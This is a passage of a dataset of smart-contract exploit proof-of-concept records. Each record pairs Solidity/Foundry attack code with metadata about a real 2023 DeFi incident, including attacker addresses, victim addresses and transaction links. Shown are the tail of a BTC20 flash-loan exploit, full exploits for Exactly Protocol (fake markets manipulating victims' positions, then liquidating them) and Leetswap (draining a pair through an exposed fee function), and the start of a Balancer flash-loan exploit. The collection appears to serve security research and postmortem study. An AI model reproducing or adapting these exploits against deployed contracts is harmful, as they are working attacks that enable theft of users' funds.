0, Amount_BTC20_WETH_Pair3, abi.encode(Amount_BTC20_WETH_Pair3));\n (uint256 amountOut, uint256 amountInMax) = (amount + amount / 100 + 1, WETH.balanceOf(address(this)));\n (addrPath[0], addrPath[1]) = (address(WETH), address(BTC20));\n uniRouter.swapTokensForExactTokens(amountOut, amountInMax, addrPath, address(this), type(uint256).max);\n BTC20.transfer(address(SDEX_BTC20_Pair3), amountOut);\n } else if (amount == Amount_BTC20_WETH_Pair3) {\n uint256 amountIn = BTC20.balanceOf(address(this));\n (addrPath[0], addrPath[1]) = (address(BTC20), address(WETH));\n uniRouter.swapExactTokensForTokens(amountIn, 0, addrPath, address(this), type(uint256).max);\n uint256 buyAmount = PresaleV4.maxTokensToSell() - PresaleV4.directTotalTokensSold();\n PresaleV4.buyWithEthDynamic{value: totalBorrowed}(buyAmount);\n (uint256 amountOut, uint256 amountInMax) = (amount + amount / 100 + 1, WETH.balanceOf(address(this)));\n (addrPath[0], addrPath[1]) = (address(WETH), address(BTC20));\n uniRouter.swapTokensForExactTokens(amountOut, amountInMax, addrPath, address(this), type(uint256).max);\n BTC20.transfer(address(BTC20_WETH_Pair3), amountOut);\n }\n }\n\n function approveAll() internal {\n SDEX.approve(address(SDEX_BTC20_Pair3), type(uint256).max);\n SDEX.approve(address(uniRouterV3), type(uint256).max);\n BTC20.approve(address(SDEX_BTC20_Pair3), type(uint256).max);\n BTC20.approve(address(BTC20_WETH_Pair2), type(uint256).max);\n BTC20.approve(address(BTC20_WETH_Pair3), type(uint256).max);\n BTC20.approve(address(uniRouter), type(uint256).max);\n BTC20.approve(address(uniRouterV3), type(uint256).max);\n WETH.approve(address(uniRouter), type(uint256).max);\n BTC20.approve(address(PresaleV4), type(uint256).max);\n WETH.approve(address(PresaleV4), type(uint256).max);\n }\n\n event Received(address, uint256);\n\n receive() external payable {\n emit Received(msg.sender, msg.value);\n }\n}\n", "type": "exploit_poc", "protocol": "BTC20", "date": "2023-08", "file_name": "BTC20_exp.sol", "attack_vector": "flash_loan", "content_hash": "84d8d9448a332a89", "collected_at": "2026-01-07T10:59:16.524258", "_source": "postmortems", "chain": "ethereum", "block_number": 17949215, "total_lost_raw": "~18ETH", "total_lost_usd": 18.0, "attacker_address": "https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6", "attack_contract": "https://etherscan.io/address/0xb7fbf984a50cd7c66e6da3448d68d9f3b7f24f33", "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0xcdd93e37ba2991ce02d8ca07bf6563bf5cd5ae801cbbce3dd0babb22e30b2dbe", "postmortem_url": null, "twitter_url": "https://twitter.com/DecurityHQ/status/1692924369662513472", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~18ETH", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~18ETH", "keyinfo_attacker": "https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6", "keyinfo_attack_contract": "https://etherscan.io/address/0xb7fbf984a50cd7c66e6da3448d68d9f3b7f24f33", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0xcdd93e37ba2991ce02d8ca07bf6563bf5cd5ae801cbbce3dd0babb22e30b2dbe", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/DecurityHQ/status/1692924369662513472", "funds_lost_formatted": "$18", "content_richness_score": 7, "quality_estimate": "medium", "title": "BTC20 Exploit (2023-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$7M USD$\n// Attacker : https://optimistic.etherscan.io/address/0x3747dbbcb5c07786a4c59883e473a2e38f571af9\n// Attack Contract : https://optimistic.etherscan.io/address/0x6dd61c69415c8ecab3fefd80d079435ead1a5b4d\n// Vulnerable Contract : https://optimistic.etherscan.io/address/0x16748cb753a68329ca2117a7647aa590317ebf41\n// Attack Tx : https://optimistic.etherscan.io/tx/0x3d6367de5c191204b44b8a5cf975f257472087a9aadc59b5d744ffdef33a520e\n\n// @Info\n// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0x16748cb753a68329ca2117a7647aa590317ebf41#code\n\n// @Analysis\n// Post-mortem : https://medium.com/@exactly_protocol/exactly-protocol-incident-post-mortem-b4293d97e3ed\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1692533280971936059\n\ninterface IexaUSDC is IERC4626 {\n function asset() external returns (address);\n function auditor() external view returns (address);\n function borrowAtMaturity(\n uint256 maturity,\n uint256 assets,\n uint256 maxAssets,\n address receiver,\n address borrower\n ) external returns (uint256 assetsOwed);\n function repayAtMaturity(\n uint256 maturity,\n uint256 positionAssets,\n uint256 maxAssets,\n address borrower\n ) external returns (uint256 actualRepayAssets);\n function liquidate(\n address borrower,\n uint256 maxAssets,\n address seizeMarket\n ) external returns (uint256 repaidAssets);\n}\n\ninterface IAuditor {\n struct MarketData {\n uint128 adjustFactor;\n uint8 decimals;\n uint8 index;\n bool isListed;\n address priceFeed;\n }\n\n function accountLiquidity(\n address account,\n address marketToSimulate,\n uint256 withdrawAmount\n ) external view returns (uint256 sumCollateral, uint256 sumDebtPlusEffects);\n function markets(\n address market\n ) external view returns (MarketData memory);\n function assetPrice(\n address priceFeed\n ) external view returns (uint256);\n}\n\ninterface IDebtManager {\n struct Permit {\n address account;\n uint256 deadline;\n uint8 v;\n bytes32 r;\n bytes32 s;\n }\n\n function leverage(\n address market,\n uint256 deposit,\n uint256 ratio,\n uint256 borrowAssets,\n Permit calldata marketPermit\n ) external;\n function crossDeleverage(\n address marketIn,\n address marketOut,\n uint24 fee,\n uint256 withdraw,\n uint256 ratio,\n uint160 sqrtPriceLimitX96\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);\n IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);\n IexaUSDC exaUSDC = IexaUSDC(0x81C9A7B55A4df39A9B7B5F781ec0e53539694873);\n INonfungiblePositionManager UNIV3NFTManager =\n INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);\n IDebtManager DebtManager = IDebtManager(0x675d410dcf6f343219AAe8d1DDE0BFAB46f52106);\n IQuoter Quoter = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6);\n IAuditor Auditor = IAuditor(0xaEb62e6F27BC103702E7BC879AE98bceA56f027E);\n address USDCPirceFeed = 0x16a9FA2FDa030272Ce99B29CF780dFA30361E0f3;\n FakeMarket fakeMarket;\n FakeMarket[] fakeMarketList;\n address[] victimList = [\n 0xF35e261393F9705e10B378C6785582B2a5A71094,\n 0x87bF260aef0Efd0AB046417ba290f69aE24C1642,\n 0x3cf3c6a96357e26DE5c6F8Be745DC453AAD59249,\n 0x551Cfb91aCd97572BA1C2B177EEB667c207CE759,\n 0x2f0D2701b620B639e44E1824446a0d63D7a05C31,\n 0x8789E0a45b270d7fd9aeD1a72682f6530a722c50,\n 0xd1aDb83CD6390c6bBd619Fdd79fC37F9f58f1a4C,\n 0x055a0495104AeA25551E7A58eBA88DC56709E871\n ];\n uint256[] maturityList = [\n 1_693_440_000,\n 1_693_440_000 + 4 weeks,\n 1_693_440_000 + 8 weeks,\n 1_693_440_000 + 12 weeks,\n 1_693_440_000 + 16 weeks,\n 1_693_440_000 + 20 weeks\n ];\n\n function setUp() public {\n vm.createSelectFork(\"optimism\", 108_375_557);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(exaUSDC), \"exaUSDC\");\n vm.label(address(UNIV3NFTManager), \"UNIV3NFTManager\");\n vm.label(address(DebtManager), \"DebtManager\");\n vm.label(address(Auditor), \"Auditor\");\n vm.label(address(USDCPirceFeed), \"USDCPirceFeed\");\n vm.label(address(exaUSDC), \"exaUSDC\");\n vm.label(address(Quoter), \"Quoter\");\n }\n\n // https://solidity-by-example.org/app/minimal-proxy/\n function Clone(\n address target\n ) public returns (address result) {\n bytes20 targetBytes = bytes20(target);\n assembly {\n let clone := mload(0x40)\n mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n mstore(add(clone, 0x14), targetBytes)\n mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\n result := create(0, clone, 0x37)\n }\n }\n\n function testExploit() external {\n fakeMarket = new FakeMarket();\n for (uint256 i; i < 16; ++i) {\n address miniProxy = Clone(address(fakeMarket)); // create fake market\n fakeMarketList.push(FakeMarket(miniProxy));\n FakeMarket(miniProxy).init(\n address(UNIV3NFTManager),\n address(Auditor),\n address(DebtManager),\n address(exaUSDC),\n address(Quoter),\n address(USDC),\n address(USDCPirceFeed),\n 1_000_000\n );\n }\n\n USDC.approve(address(exaUSDC), type(uint256).max);\n\n for (uint256 i; i < 8; ++i) {\n fakeMarketList[i].setVictim(victimList[i]);\n // @note https://github.com/exactly/protocol/blob/main/contracts/periphery/DebtManager.sol#L762-L792\n DebtManager.leverage(\n address(fakeMarketList[i]),\n 0,\n 0,\n 0,\n IDebtManager.Permit({account: address(victimList[i]), deadline: 0, v: 0, r: bytes32(0), s: bytes32(0)})\n ); // set global variable _msgSender to victimList[i] in contract DebtManager, then invoke fakeMarketList[i].deposit() to trigger the function crossDelevage()\n }\n\n // swap victim's USDC to fakeToken in function fakeMarkt.deposit(), victim's collateral value is close to the value of the loan and is on the verge of liquidation\n\n // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L783-L785\n // victim CollateralAmount = convertToAssets(balanceOf[account]), attacker manipulating the ratio reduction in convertToAssets,\n // causing the victim's collateral value to be less than the value of the loan\n\n // *********************** convertToAssets Manipulation *********************** //\n emit log_named_decimal_uint(\n \"befoe manipulation, 1 ether exaUSDC share convert to assets is : \",\n exaUSDC.convertToAssets(1 ether),\n USDC.decimals()\n );\n emit log_named_decimal_uint(\n \"befoe manipulation, victim's exaUSDC share convert to assets is : \",\n exaUSDC.convertToAssets(exaUSDC.balanceOf(victimList[0])),\n USDC.decimals()\n );\n\n uint256 depositAmount = USDC.balanceOf(address(this)) * 9 / 10;\n uint256 share = exaUSDC.deposit(depositAmount, address(this)); // deposit USDC to exaUSDC contract\n\n for (uint256 i; i < 6; ++i) {\n (uint256 sumCollateral, uint256 sumDebtPlusEffects) =\n Auditor.accountLiquidity(address(victimList[0]), address(0), 0);\n // In the attack transaction, only the top victim is checked to see if they meet the liquidation conditions.\n // By removing this check, more users can be made eligible for liquidation.\n // if (sumCollateral >= sumDebtPlusEffects) {\n // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L917-L942\n // the backupEarnings decrease\n // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L930-L932\n exaUSDC.borrowAtMaturity(\n maturityList[i], depositAmount / 2, type(uint256).max, address(this), address(this)\n );\n exaUSDC.repayAtMaturity(maturityList[i], type(uint256).max, type(uint256).max, address(this));\n // } else {\n // break;\n // }\n }\n\n exaUSDC.redeem(share, address(this), address(this)); // withdraw all exaUSDC share\n\n emit log_named_decimal_uint(\n \"after manipulation, 1 ether exaUSDC share convert to assets is : \",\n exaUSDC.convertToAssets(1 ether),\n USDC.decimals()\n );\n emit log_named_decimal_uint(\n \"after manipulation, victim's exaUSDC share convert to assets is : \",\n exaUSDC.convertToAssets(exaUSDC.balanceOf(victimList[0])),\n USDC.decimals()\n );\n\n // *********************** liquidate *********************** //\n for (uint256 i; i < 8; ++i) {\n try exaUSDC.liquidate(victimList[i], type(uint256).max, address(exaUSDC)) {}\n catch {\n continue;\n } // liquidate victim's position\n fakeMarketList[i + 8].setVictim(victimList[i]);\n try DebtManager.leverage( // Manipulate the victim's position further after liquidation\n address(fakeMarketList[i + 8]),\n 0,\n 0,\n 0,\n IDebtManager.Permit({account: address(victimList[i]), deadline: 0, v: 0, r: bytes32(0), s: bytes32(0)})\n ) {} catch {\n continue;\n } // set global _msgSender to victimList[i] in contract DebtManager, then invoke fakeMarketList[i].deposit() to trigger the function crossDelevage()\n }\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n}\n\ncontract FakeMarket is Nonces {\n using FixedPointMathLib for int256;\n using FixedPointMathLib for uint256;\n using FixedPointMathLib for uint128;\n\n INonfungiblePositionManager UNIV3NFTManager =\n INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);\n IAuditor Auditor = IAuditor(0xaEb62e6F27BC103702E7BC879AE98bceA56f027E);\n IDebtManager DebtManager = IDebtManager(0x675d410dcf6f343219AAe8d1DDE0BFAB46f52106);\n IexaUSDC exaUSDC = IexaUSDC(0x81C9A7B55A4df39A9B7B5F781ec0e53539694873);\n IQuoter Quoter = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6);\n IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);\n address USDCPirceFeed = 0x16a9FA2FDa030272Ce99B29CF780dFA30361E0f3;\n address victim;\n uint256 baseUnit = 1_000_000;\n uint256 fakeTokenAmount;\n address public asset;\n address Owner;\n\n function init(address a, address b, address c, address d, address e, address f, address g, uint256 base) external {\n UNIV3NFTManager = INonfungiblePositionManager(a);\n Auditor = IAuditor(b);\n DebtManager = IDebtManager(c);\n exaUSDC = IexaUSDC(d);\n Quoter = IQuoter(e);\n USDC = IERC20(f);\n USDCPirceFeed = g;\n asset = address(this);\n baseUnit = base;\n balanceOf[address(this)] += 1_000_000_000_000 ether;\n Owner = msg.sender;\n if (address(this) < address(USDC)) {\n UNIV3NFTManager.createAndInitializePoolIfNecessary(\n address(this), address(USDC), 500, 79_228_162_514_264_337_593_543_950_336\n ); // create faketoken-USDC Uni-V3 pool\n } else {\n UNIV3NFTManager.createAndInitializePoolIfNecessary(\n address(USDC), address(this), 500, 79_228_162_514_264_337_593_543_950_336\n ); // create faketoken-USDC Uni-V3 pool\n }\n }\n\n function setVictim(\n address v\n ) external {\n // setV\n victim = v;\n }\n\n // ******************** Market ******************** //\n\n function deposit(uint256 assets, address receiver) external returns (uint256 shares) {\n // @note https://github.com/exactly/protocol/blob/main/contracts/Auditor.sol#L107-L148\n (uint256 sumCollateral, uint256 sumDebtPlusEffects) = Auditor.accountLiquidity(address(victim), address(0), 0);\n uint256 availableCollateralValue = sumCollateral - sumDebtPlusEffects; // availableCollateralValue = sumCollateral - sumDebtPlusEffects\n IAuditor.MarketData memory marketData = Auditor.markets(address(exaUSDC));\n uint128 Factor = marketData.adjustFactor;\n uint256 USDCPirce = Auditor.assetPrice(USDCPirceFeed);\n\n uint256 availableCollateralAmount = (availableCollateralValue.divWadUp(Factor)).mulDivUp(baseUnit, USDCPirce); // availableCollateralAmount = (availableCollateralValue / Factor) * baseUnit / USDCPirce\n availableCollateralAmount = availableCollateralAmount - 2; // availableCollateralAmount = availableCollateralAmount - 2\n\n if (\n exaUSDC.convertToAssets(exaUSDC.allowance(address(victim), address(DebtManager)))\n < availableCollateralAmount\n ) {\n // if(exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this))) < availableCollateralAmount)\n availableCollateralAmount =\n exaUSDC.convertToAssets(exaUSDC.allowance(address(victim), address(DebtManager))); // availableCollateralAmount = exaUSDC.convertToAssets(exaUSDC.Allowance(address(this), DebtManager))\n }\n if (exaUSDC.convertToAssets(exaUSDC.balanceOf(address(victim))) < availableCollateralAmount) {\n // if(exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this))) < availableCollateralAmount)\n availableCollateralAmount = exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this))); // availableCollateralAmount = exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this)))\n }\n\n uint256 USDCAmountIn = availableCollateralAmount;\n\n IERC20(address(this)).approve(address(DebtManager), type(uint256).max);\n IERC20(address(this)).approve(address(UNIV3NFTManager), type(uint256).max);\n address Token0 = address(this);\n address Token1 = address(USDC);\n uint256 amount0 = 1_000_000 ether;\n uint256 amount1 = 0;\n int24 lower = 0;\n int24 upper = 10;\n uint160 sqrtPriceLimitX96 = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;\n if (address(this) > address(USDC)) {\n Token0 = address(USDC);\n Token1 = address(this);\n amount0 = 0;\n amount1 = 1_000_000 ether;\n lower = -10;\n upper = 0;\n sqrtPriceLimitX96 = 4_295_128_740;\n }\n (uint256 tokenId, uint128 liquidity,,) = UNIV3NFTManager.mint(\n INonfungiblePositionManager.MintParams({ // add liquidity to faketoken-USDC Uni-V3 pool\n token0: Token0,\n token1: Token1,\n fee: 500,\n tickLower: lower,\n tickUpper: upper,\n amount0Desired: amount0,\n amount1Desired: amount1,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp\n })\n );\n\n fakeTokenAmount =\n Quoter.quoteExactInputSingle(address(USDC), address(this), 500, USDCAmountIn, sqrtPriceLimitX96);\n\n // @note now the _msgSender is victim, so attacker can manipulation the position of victim\n DebtManager.crossDeleverage(address(exaUSDC), address(this), 500, 0, 0, sqrtPriceLimitX96); // swap USDC to fakeToken in Uni-V3 pool\n\n UNIV3NFTManager.decreaseLiquidity(\n INonfungiblePositionManager.DecreaseLiquidityParams({ // remove liquidity from faketoken-USDC Uni-V3 pool\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\n\n UNIV3NFTManager.collect(\n INonfungiblePositionManager.CollectParams({ // collect fakeToken/USDC from faketoken-USDC Uni-V3 pool\n tokenId: tokenId,\n recipient: address(Owner),\n amount0Max: 340_282_366_920_938_463_463_374_607_431_768_211_455,\n amount1Max: 340_282_366_920_938_463_463_374_607_431_768_211_455\n })\n );\n }\n\n struct Account {\n uint256 fixedDeposits;\n uint256 fixedBorrows;\n uint256 floatingBorrowShares;\n }\n\n function previewRefund(\n uint256 shares\n ) public view returns (uint256) {\n return fakeTokenAmount;\n }\n\n function accounts(\n address owner\n ) external view returns (Account memory) {\n return Account(0, 0, 0);\n }\n\n function repay(uint256 assets, address borrower) external returns (uint256 actualRepay, uint256 borrowShares) {}\n\n // ******************** ERC4626 ******************** //\n\n function maxWithdraw(\n address owner\n ) external view returns (uint256) {\n return 0;\n }\n\n // ******************** ERC20Permit ******************** //\n uint256 public totalSupply;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n string public name = \"fake market\";\n string public symbol = \"fm\";\n uint8 public decimals = 18;\n\n function transfer(address recipient, uint256 amount) external returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[recipient] += amount;\n return true;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n allowance[sender][msg.sender] -= amount;\n balanceOf[sender] -= amount;\n balanceOf[recipient] += amount;\n return true;\n }\n\n function mint(\n uint256 amount\n ) external {\n balanceOf[msg.sender] += amount;\n totalSupply += amount;\n }\n\n function burn(\n uint256 amount\n ) external {\n balanceOf[msg.sender] -= amount;\n totalSupply -= amount;\n }\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public {\n _useNonce(owner);\n }\n\n function nonces(\n address owner\n ) public view virtual override(Nonces) returns (uint256) {\n return super.nonces(owner);\n }\n}\n", "type": "exploit_poc", "protocol": "Exactly", "date": "2023-08", "file_name": "Exactly_exp.sol", "attack_vector": null, "content_hash": "ecdeb2de43e19205", "collected_at": "2026-01-07T10:59:16.524362", "_source": "postmortems", "chain": "ethereum", "block_number": 108375557, "total_lost_raw": "~$7M USD$", "total_lost_usd": 7000000.0, "attacker_address": "https://optimistic.etherscan.io/address/0x3747dbbcb5c07786a4c59883e473a2e38f571af9", "attack_contract": "https://optimistic.etherscan.io/address/0x6dd61c69415c8ecab3fefd80d079435ead1a5b4d", "vulnerable_contract": "https://optimistic.etherscan.io/address/0x16748cb753a68329ca2117a7647aa590317ebf41", "attack_tx": "https://optimistic.etherscan.io/tx/0x3d6367de5c191204b44b8a5cf975f257472087a9aadc59b5d744ffdef33a520e", "postmortem_url": "https://medium.com/@exactly_protocol/exactly-protocol-incident-post-mortem-b4293d97e3ed", "twitter_url": "https://twitter.com/BlockSecTeam/status/1692533280971936059", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~$7M USD$", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~$7M USD$", "keyinfo_attacker": "https://optimistic.etherscan.io/address/0x3747dbbcb5c07786a4c59883e473a2e38f571af9", "keyinfo_attack_contract": "https://optimistic.etherscan.io/address/0x6dd61c69415c8ecab3fefd80d079435ead1a5b4d", "keyinfo_vulnerable_contract": "https://optimistic.etherscan.io/address/0x16748cb753a68329ca2117a7647aa590317ebf41", "keyinfo_attack_tx": "https://optimistic.etherscan.io/tx/0x3d6367de5c191204b44b8a5cf975f257472087a9aadc59b5d744ffdef33a520e", "analysis_postmortem": "https://medium.com/@exactly_protocol/exactly-protocol-incident-post-mortem-b4293d97e3ed", "analysis_twitter": "https://twitter.com/BlockSecTeam/status/1692533280971936059", "funds_lost_formatted": "$7.00M", "content_richness_score": 7, "quality_estimate": "medium", "title": "Exactly Exploit (2023-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~630K USD$\n// Attacker : https://basescan.org/address/0x705f736145bb9d4a4a186f4595907b60815085c3\n// Attack Contract : https://basescan.org/address/0xea8f89f47f3d4293897b4fe8cb69b5c233b9f560\n// Vulnerable Contract : https://basescan.org/address/0x94dac4a3ce998143aa119c05460731da80ad90cf\n// Attack Tx : https://basescan.org/tx/0xbb837d417b76dd237b4418e1695a50941a69259a1c4dee561ea57d982b9f10ec\n\n// @Info\n// Vulnerable Contract Code : https://basescan.org/address/0x94dac4a3ce998143aa119c05460731da80ad90cf#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1686217464051539968\n// Twitter Guy : https://twitter.com/peckshield/status/1686209024587710464\n\ninterface ILeetSwapPiar {\n function _transferFeesSupportingTaxTokens(address token, uint256 amount) external returns (uint256);\n\n function sync() external;\n}\n\ncontract ContractTest is Test {\n IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);\n IERC20 axlUSDC = IERC20(0xEB466342C4d449BC9f53A865D5Cb90586f405215);\n Uni_Router_V2 Router = Uni_Router_V2(0xfCD3842f85ed87ba2889b4D35893403796e67FF1);\n ILeetSwapPiar Pair = ILeetSwapPiar(0x94dAC4a3Ce998143aa119c05460731dA80ad90cf);\n\n function setUp() public {\n vm.createSelectFork(\"base\", 2_031_746);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(axlUSDC), \"axlUSDC\");\n vm.label(address(Router), \"Router\");\n vm.label(address(Pair), \"Piar\");\n }\n\n function testExploit() external {\n deal(address(WETH), address(this), 0.001 ether);\n WETH.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(axlUSDC);\n\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 0.001 ether, 0, path, address(this), block.timestamp\n );\n\n Pair._transferFeesSupportingTaxTokens(address(axlUSDC), axlUSDC.balanceOf(address(Pair)) - 100);\n Pair.sync();\n\n axlUSDC.approve(address(Router), type(uint256).max);\n path[0] = address(axlUSDC);\n path[1] = address(WETH);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n axlUSDC.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Leetswap", "date": "2023-08", "file_name": "Leetswap_exp.sol", "attack_vector": null, "content_hash": "adb04efd7d54852f", "collected_at": "2026-01-07T10:59:16.524474", "_source": "postmortems", "chain": "base", "block_number": 2031746, "total_lost_raw": "~630K USD$", "total_lost_usd": 630000.0, "attacker_address": "https://basescan.org/address/0x705f736145bb9d4a4a186f4595907b60815085c3", "attack_contract": "https://basescan.org/address/0xea8f89f47f3d4293897b4fe8cb69b5c233b9f560", "vulnerable_contract": "https://basescan.org/address/0x94dac4a3ce998143aa119c05460731da80ad90cf", "attack_tx": "https://basescan.org/tx/0xbb837d417b76dd237b4418e1695a50941a69259a1c4dee561ea57d982b9f10ec", "postmortem_url": null, "twitter_url": "https://twitter.com/BlockSecTeam/status/1686217464051539968", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~630K USD$", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~630K USD$", "keyinfo_attacker": "https://basescan.org/address/0x705f736145bb9d4a4a186f4595907b60815085c3", "keyinfo_attack_contract": "https://basescan.org/address/0xea8f89f47f3d4293897b4fe8cb69b5c233b9f560", "keyinfo_vulnerable_contract": "https://basescan.org/address/0x94dac4a3ce998143aa119c05460731da80ad90cf", "keyinfo_attack_tx": "https://basescan.org/tx/0xbb837d417b76dd237b4418e1695a50941a69259a1c4dee561ea57d982b9f10ec", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/BlockSecTeam/status/1686217464051539968", "funds_lost_formatted": "$630.0K", "content_richness_score": 5.3, "quality_estimate": "medium", "title": "Leetswap Exploit (2023-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/console.sol\";\nimport \"forge-std/Test.sol\";\nimport \"../test/../interface.sol\";\n\n// @KeyInfo - Total Lost : ~2M\n// Attacker : https://etherscan.io/address/0xed187f37e5ad87d5b3b2624c01de56c5862b7a9b\n// Attack Contract : https://etherscan.io/address/0x2100dcd8758ab8b89b9b545a43a1e47e8e2944f0\n// Vulnerable Contract : https://etherscan.io/address/0x9210f1204b5a24742eba12f710636d76240df3d0\n// Attack Tx : https://etherscan.io/tx/0x2a027c8b915c3737942f512fc5d26fd15752d0332353b3059de771a35a606c2d\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x9210f1204b5a24742eba12f710636d76240df3d0#code\n\n// @Analysis\n// Post-mortem : https://blocksecteam.medium.com/yet-another-risk-posed-by-precision-loss-an-in-depth-analysis-of-the-recent-balancer-incident-fad93a3c75d4\n// Post-mortem : https://medium.com/balancer-protocol/rate-manipulation-in-balancer-boosted-pools-technical-postmortem-53db4b642492\n// Twitter Guy : https://twitter.com/wavey0x/status/1702311454689357851\n\ninterface BBToken is IERC20 {\n function getVirtualSupply() external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n IERC20 aUSDC = IERC20(0xd093fA4Fb80D09bB30817FDcd442d4d02eD3E5de);\n IERC20 aDAI = IERC20(0x02d60b84491589974263d922D9cC7a3152618Ef6);\n Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n BBToken bbaUSDC = BBToken(0x9210F1204b5a24742Eba12f710636D76240dF3d0);\n BBToken bbaDAI = BBToken(0x804CdB9116a10bB78768D3252355a1b18067bF8f);\n BBToken bbaUSDT = BBToken(0x2BBf681cC4eb09218BEe85EA2a5d3D13Fa40fC0C);\n IERC20 bbaUSD = IERC20(0x7B50775383d3D6f0215A8F290f2C9e2eEBBEceb2);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_004_651);\n vm.label(address(USDT), \"USDT\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(DAI), \"DAI\");\n vm.label(address(aave), \"AAVE\");\n vm.label(address(balancer), \"Balancer\");\n vm.label(address(bbaUSDC), \"bb-a-USDC\");\n vm.label(address(bbaDAI), \"bb-a-DAI\");\n vm.label(address(bbaUSD), \"bb-a-USD\");\n vm.label(address(bbaUSDT), \"bb-a-USDT\");\n vm.label(address(Router), \"Router\");\n }\n\n function testExploit() public {\n address[] memory assets = new address[](1);\n assets[0] = address(USDC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 300_000 * 1e6;\n uint256[] memory interestRateModes = new uint256[](2);\n interestRateModes[0] = 0;\n interestRateModes[1] = 0;\n aave.flashLoan(address(this), assets, amounts, interestRateModes, address(this), bytes(\"\"), 0);\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker DAI balance after exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata 